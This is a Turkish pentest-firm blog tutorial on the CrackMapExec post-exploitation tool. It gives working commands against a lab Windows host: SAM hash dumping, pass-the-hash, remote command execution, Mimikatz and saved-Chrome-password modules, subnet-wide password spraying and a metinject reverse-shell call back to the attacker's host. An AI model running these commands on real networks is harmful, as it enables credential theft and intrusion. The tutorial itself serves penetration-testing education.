CrackMapExec

1 CrackMapExec(CME) Nedir?

CrackMapExec namı diğer CME Python 2.7 ile yazılmış açık kaynak kodlu geniş ölçekli Active Directory ortamlarında kullanılmak için tasarlanmış bir Post-Exploitation aracıdır. CME aracı sistemde gizli bir şekilde ilerlenebilecek bir şekilde tasarlanmıştır. Aracımız network protokolleri ile daha stabil çalışabilmek ve bazı Post-Exploitation tekniklerini daha efektif bir şekilde kullanabilmek adına Impacket ve PowerSploit araçlarından faydalanmaktadır. CME aracı başta Red Team üyelerinin kullanması adına tasarlanmıştır. Fakat günümüzde hem Red Team hem de Blue Team üyeleri tarafından gözde bir araç haline gelmiştir. IDS ve IPS gibi End-Point koruma çözümlerini de çoğunlukla atlatabilmektedir.

Aracın geliştiricisi projenin aşağıdaki üç araçtan ilham alınarak tasarlandığını belirtmekte.

  • CredCrack
  • SmbMap
  • SmbExec

Aracın adını ilham aldığı üç araçtan aldığını da görmekteyiz.

Ayrıca aracın geliştiricisi projede aşağıdaki araçların ve modüllerin de CME içerisinde bulunduğunu belirtmekte.

  • Impacket
  • Pywinrm
  • Pywerview
  • PowerSploit
  • Invoke-Obfuscation
  • Invoke-Vnc
  • Mimikittenz
  • NetRipper
  • RandomPS-Scripts
  • SessionGopher
  • Mimipenguin

2 Bağımlılıklar & Kurulum

Aracımızın kurulumu son derece basit. Aracımızı Linux dağıtımlarında ve Mac OSX’te çalıştırabilmekteyiz. Ben dokümantasyon boyunca tüm örnekleri Parrot OS üzerinden gerçekleştireceğim. CrackMapExec aracı Parrot OS’ta ön tanımlı olarak yüklü gelmektedir. Hali hazırda aracımızın yüklü olmadığı bir sistem üzerine kurulum yapacaksak aşağıdaki ibareleri takip etmemiz yeterli olacaktır.

sudo apt-get install crackmapexec komutunu kullanarak Kali Linux üzerinde aracı doğrudan kurabilmeniz mümkün. Eğer Debian/Ubuntu tabanlı başka bir distro kullanıyorsanız aşağıdaki komutları sırası ile çalıştırmanız yeterli olacaktır.

apt-get install -y libssl-dev libffi-dev python-dev build-essential

ardından

pip install crackmapexec

Aracın kurulumu ile ilgili detaylı bilgiye resmi GitHub Wiki adresinden ulaşabilirsiniz.

3 Aracın Kullanımı

Aracımızın kullanım parametrelerine kabaca bir göz atalım. Bunun için crackmapexec -h komutunu çalıştırıyorum.

CrackMapExec

Ardından detaylı kullanım parametreleri aşağıdaki gibi devam ediyor.

CrackMapExec

Bir saldırgan olarak ilk yapmak istediğimiz şey muhtemelen ağda ne olup bittiğini görmektir. Bunun için aşağıdaki komutu çalıştırmamız yeterlidir.

crackmapexec 192.168.1.0/24

Elbette IP adresi değişken olabilecektir. Buna dikkat etmeniz gerekmekte. Ben bu taramada tüm Subnet’i tarıyorum. Aldığım çıktı aşağıda gösterilmiştir.

CrackMapExec

Bu noktada şunu belirtmeliyim. Örneklerimi Parrot OS üzerinden yapma kararı almıştım lakin sistemimin yetersizliğinden dolayı test ortamım ile Parrot OS’u aynı anda çalıştıramadım. Bu nedenle örneklerimi Ubuntu üzerinden yapıyor olacağım. Belirli bir ağı taramak için birden fazla parametre kullanabilirsiniz. Biz örneğimizde direkt bütün Subnet’i taradık. Belirli IP aralıklarını taramak için aşağıdaki komutu kullanabilirsiniz.

crackmapexec 192.168.1.0-120

Bu komut 192.168.1.0 ile 192.168.1.120 arasındaki IP aralığını tarayacaktır. O halde elimizde 5 adet IP adresi olduğunu ve spesifik olarak yalnızca bunları taramasını istiyor isek? Böyle durumlarda IP adreslerimizi bir txt dosyasına yazdırıp aracımıza bu txt dosyasını da veriyoruz. Kullanımı aşağıdaki şekilde.

crackmapexec hosts.txt

Arka planda olan biteni görmek adına –verbose parametresini ekleyip komutumuzu tekrar çalıştıralım.

CrackMapExec

Artık bulunduğumuz ağ üzerinde bilgi sahibiyiz. Hangi IP adresi üzerinde hangi bilgisayar var biliyoruz. Bu noktadan sonra farklı saldırı ataklarını deneyebiliriz. Unutmayın aracımız bir Post-Exploitation aracı doğal olarak parolayı bildiğimizi var sayıyorum. Örneğin Administrator kullanıcısının Password Policy’sini öğrenelim. Bunun için aşağıdaki komutu kullanıyoruz.

cme 192.168.1.157 -u Administrator -p ‘[email protected]’ –pass-pol

Burada -u parametresi ile kullanıcı adını, -p parametresi ile parola bilgisini tanımladık. –pass-pol parametresi ile ise ilgili kullanıcının Password Policy bilgilerini elde ettik. Elde ettiğimiz çıktı aşağıdaki şekilde oldu.

CrackMapExec

Dikkatinizi çektiyse bu kez crackmapexec <parameters> yerine cme <parameters> şeklinde bir kullanım gerçekleştirdik. İkisi arasında hiçbir fark yok. Parolamızın yanında görmüş olduğunuz gibi (Pwn3d!) yazmakta. IP aralığı taradığımızda diğer makinelerden birinde de aynı parola kullanılıyor ise yanında yine Pwn3d! ibaresini görecektik.

Başka bir senaryo gerçekleştirelim. Paylaşıma açık olan klasörleri listeleyelim. Bunun için aşağıdaki komutu kullanacağız.

cme 192.168.1.157 -u Administrator -p ‘[email protected]’ –shares

Az önce kullandığımız komuta ek olarak –shares parametresini ekliyoruz. Elde ettiğim çıktı aşağıdaki şekilde.

CrackMapExec

Yukarıda da görüldüğü üzere paylaşılan klasörleri listelemiş olduk. Modüllerden ve kullanımlarından bahsetmeden önce biraz daha bilgi toplayalım. Örneğin sisteme giriş yapmış olan kullanıcıları listeleyelim. Bunun için aşağıdaki komutu kullanıyoruz.

cme 192.168.1.157 -u Administrator -p ‘[email protected]’ –lusers

Bu noktada ekstra olarak –lusers parametresini kullandık. Aldığımız çıktı aşağıdaki şekilde.

CrackMapExec

Görmüş olduğumuz gibi sisteme yalnızca Administrator kullanıcısı giriş yapmış durumda. Ben tüm örnekleri kendi hazırlamış olduğum test ortamında gerçekleştiriyorum. Real life bir senaryoda daha net bilgiler elde edeceksiniz.

Bir saldırgan olarak SAM hashlerini elde etmek rüya gibi bir durum olacaktır. Bu noktada aracımız yine yardımımıza koşuyor. SAM veritabanındaki kimlik bilgilerini elde etmek için aşağıdaki komutu kullanıyoruz.

cme 192.168.1.157 -u Administrator -p ‘[email protected]’ –sam

Bu noktadan –sam parametresi bize hedef sistemin SAM veritabanındaki kimlik bilgilerini getirecektir. Almış olduğum çıktı aşağıdaki şekilde.

CrackMapExec

Ama bir saniye. Bu noktada bir hata ile karşılaşıyorum. Bunun sebebi hedef sistemde Syskey çalışıyor olması. Syskey, Windows NT 4.0 ile birlikte gelen bir yeniliktir. SAM veritabanındaki LM ve NTLM ile şifrelenmiş kullanıcı bilgileri Syskey adı verilen bir anahtar ile şifrelenmiş halde saklanmaktadır. Syskey parolası başlangıçta ön tanımlı olarak kullanılıyor olmasaydı aşağıdaki gibi bir çıktı elde edecektik.

CrackMapExec

Buradan elde ettiğimiz NTLM Hash’leri örneğin Metasploit’in psexec modülü sayesinde hedef makineye erişim sağlayabilirdik. Elbette hemen Metasploit’e sarılmayacağız. Aracımız bizi bu noktada da düşünmüş. Aşağıdaki komut işimizi görecektir.

cme 192.168.1.157 –u Administrator –H ‘aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c’

Daha fazla bilgi elde etmenin pek çok yolu daha mevcut. Hem bilgi toplama esnasında hem de sömürü esnasında oldukça işimize yarayacak bir başka parametremize göz atalım. Örneğin sistem içerisinde komut çalıştırmak istiyoruz. Dizinleri listelemek istiyoruz diyelim. Bunu aşağıdaki komut ile yapmamız mümkün.

cme 192.168.1.157 -u Administrator -p ‘[email protected]’ -x dir

-x parametresi sistemde komut çalıştırmamıza yarayacaktır. Kullanımı yukarıda da gördüğünüz gibi -x parametresi ardından çalıştırmak istediğimiz komutu yazıyoruz. Çalıştırmak istediğimiz komutu tek tırnaklar (‘) arasında da yazabiliriz. Aldığım çıktı aşağıda gösterilmiştir.

CrackMapExec

x parametresine çok benzer olan büyük X (-X) parametresi ile de PowerShell’de komut çalıştırmak mümkün. Bunu sistem üzerinde bir takım versiyon bilgilerini toplayarak örneklendirelim. Bunun için aşağıdaki komutu çalıştırıyorum.

cme 192.168.1.157 -u Administrator -p ‘[email protected]’ -X ‘$PSVersionTable’

Almış olduğum çıktı aşağıdaki görselde gösterilmiştir.

CrackMapExec

Bu noktada PowerShell’i kullanmayı bilmek gerekiyor tabi. Sistem hakkında topladığınız her bilgi kıymetlidir. Real Life bir senaryoda ifşa ettiğiniz hemen her bilgiyi Pentest raporuna yazmanız mümkün.

–sessions parametresi ile oturum bilgisini, –disks parametresi ile mevcut diskleri, –users parametresi ile Domain’e üye kullanıcıları, –groups parametresi ile Domain’de bulunan grupları, –local-groups parametresi ile yerel grupları, –rid-brute parametresi ile kullanıcıların RID’lerini listelemeniz mümkün.

Aracımızın belki de en muhteşem özelliklerinden bir diğeri de tüm çalışmamızı, yaptığımız tüm işlemleri loglayıp veritabanında saklamasıdır. Bu veritabanına erişmek için çalışma ekranımıza cmedb yazmamız yeterli olacaktır. Bu bize aynı MySQL’in çalışma ekranında olduğu gibi veritabanına erişim sağlayacaktır. Tespit ettiğimiz tüm makineler, kimlik bilgileri bu veritabanında tutulur. Tespit ettiğimiz makineleri görüntülemek için hosts komutunu kullanmamız yeterlidir. Aşağıdakine benzer bir çıktı almalıyız.

CrackMapExec

Önceden tespit ettiğimiz tüm makineler listelenmiş durumda. Bazı makinelerde kimlik bilgileri de tespit ettiğimiz görüyoruz. Hemen bu kimlik bilgilerine bakalım. Bunun için creds komutunu kullanmamız yeterli olacaktır. Aşağıdaki gibi bir çıktı almalısınız.

CrackMapExec

Spesifik olarak bir kullanıcı veya bir makine ile ilgili logladığımız bilgilere erişmek istersek aracımız bize bunun için de fırsat sunuyor. Örnek kullanımı hosts WIN-VA9O0QD8LFI şeklindedir.

Ve muhtemelen aracımızın en ilgi çekici noktalarından biri. Her Pentester, her saldırgan, her Bug Bounty kovalayan insan sızdığı sistemde Shell almak ister. Bunu bu araçta elde ettiğimiz bilgiler sonrasında Metasploit ile yapmamız mümkün evet ama aracımız da bize bu konuda imkan sunuyor. Bunu metinject modülü ile yapmamız mümkün. Metinject modülünden bahsedeceğiz ama tüm modülleri listelemenin bir yolu yok mu? Elbette var. Bunun için cme -L parametresini kullanmamız yeterli. Aldığımız çıktı aşağıdaki gibi olmalı.

CrackMapExec

Bu durumda ilgili sistemde Shell almamız için kullanmamız gereken komut yapısı aşağıdaki gibi olmalıdır;

cme <HedefIP> -u K.Adı -p ‘Parola’ -M metinject -o LHOST=IPAdresimiz LPORT=Port

Daha önceden Metasploit kullanmış olan arkadaşlarımız bu kullanım yapısına alışkın olacaklardır. Dokümanda tüm modülleri tek tek anlatmayacağız fakat birkaç tanesinden daha bahsetmekte fayda var. Yine bilgi toplama aşamasında kullanabileceğimiz birkaç modülümüz mevcut. Kaydedilen Chrome parolalarını tespit etmek mümkün. Bunun için enum_chrome modülünü kullanmanız yeterli olacaktır.

CrackMapExec

Eğer deşifre edilmiş parolalar bulsaydı ekranda gösterecekti. Bir log dosyası oluşturduğunu görüyoruz. Log dosyalarının yolu ~/.cme/logs yolunda olacaktır. Oluşturulan log dosyasına da bir bakalım.

CrackMapExec

Modüllerden bahsetmişken hemen her durumda yardımımıza koşan Mimikatz aracından ve modülünden bahsetmeden geçmek elbette olmaz. Modülleri listelediğinizde ve Mimikatz’ı gördüğünüzde yüzünüzde bir tebessüm oluştuğunu düşünmekteyim. Mimikatz modlümüzü kullanmak için yapmamız gereken tek şey -M mimikatz parametresini kullanmak. Aşağıdaki gibi bir çıktı almalıyız.

CrackMapExec

Ayrıca yine bir log dosyası oluşturulduğunu görmekteyiz. Aracımız bir Post-Exploitation aracı olduğu için doküman boyunca parolayı bildiğimiz senaryolar üzerine gittik. Peki aracımız ile parola elde etmeye yönelik ataklar gerçekleştirmek mümkün mü? Password Spraying ataklarında bulunmak mümkün. Peki bunu nasıl yapıyoruz? Aşağıdaki komut işimizi görecektir.

cme 192.168.1.124 -u Administrator -p password_list.txt

Aynı işlemi elbette kullanıcı adının tespiti için yapmamız da mümkün. Bunun için aşağıdaki komut işimizi görecektir.

cme 192.168.1.124 -u usernames.txt -p password_list.txt

Biz burada Password Spraying’i belirli bir makineye yaptık. Elbette tüm Subnet için de bunu yapabiliriz. Bunun için ise aşağıdaki komut işimizi görecektir.

cme 192.168.1.0/24 -u usernames.txt -p password_list.txt

Aracımızda farklı protokoller üzerinden de bilgi toplamak mümkün. Gelin biraz da aracımız sayesinde HTTP protokolü üzerinden nasıl ve ne gibi bilgiler toplayabildiğimize bakalım. HTTP parametresi ile bilgi toplarken verdiğimiz IP adresi üzerinde varsayılan olarak 80, 443, 8443, 8008, 8080, 8081 portlarını test etmektedir. Elbette spesifik olarak “şu portu da kontrol et” demek mümkün. Örnek bir kullanım ile Subnet’i tarayalım. Bunun için aşağıdaki komut işimizi görecektir.

cme http 192.168.1.0/24

Karşımıza hangi IP adresinde, hangi dizinde hangi sunucunun çalıştığı ve Page Title bilgileri gelecektir. Spesifik olarak taratmak istediğimiz portlar var ise aşağıdaki komut işimizi görecektir.

cme http 192.168.1.0/24 –port 80 81 82 83 1337 8080

–port parametresi işimizi gördü. Ayrıca tespit etmiş olduğumuz web sayfalarının bir ekran görüntüsünü almamız da mümkün. Bunun için aşağıdaki komut işimizi görecektir.

cme http 192.168.1.117 –port 80 81 82 8080 –screenshot

IP adresi 192.168.1.118 ve port numarası 80, 81, 82 ve 8080 olan web sayfalarının ekran görüntüsünü almış olacağız. Ekran görüntüleri loglarımızın da kaydedildiği ~/.cme/logs dizini altında olacaktır. Birden fazla ekran görüntüsü olabileceğinden ve testlerimizi farklı zamanlarda yapmış olabileceğimizden kaynaklı ekran görüntüsünün isimlendirmesi IP:Port_Year-month-day_time.png formatında olacaktır.

Blog postu ile ilgili bir sorunuz varsa bizimle iletişime geçebilirsiniz.

Mehmet Ayberk ANNADINÇ

Size nasıl yardımcı olalım?

İhtiyacınız olan her an Prisma danışmanları yanı başınızda. Bizimle 7/24 iletişime geçebilirsiniz.


    Sızma testi hizmetlerimizi incelediniz mi?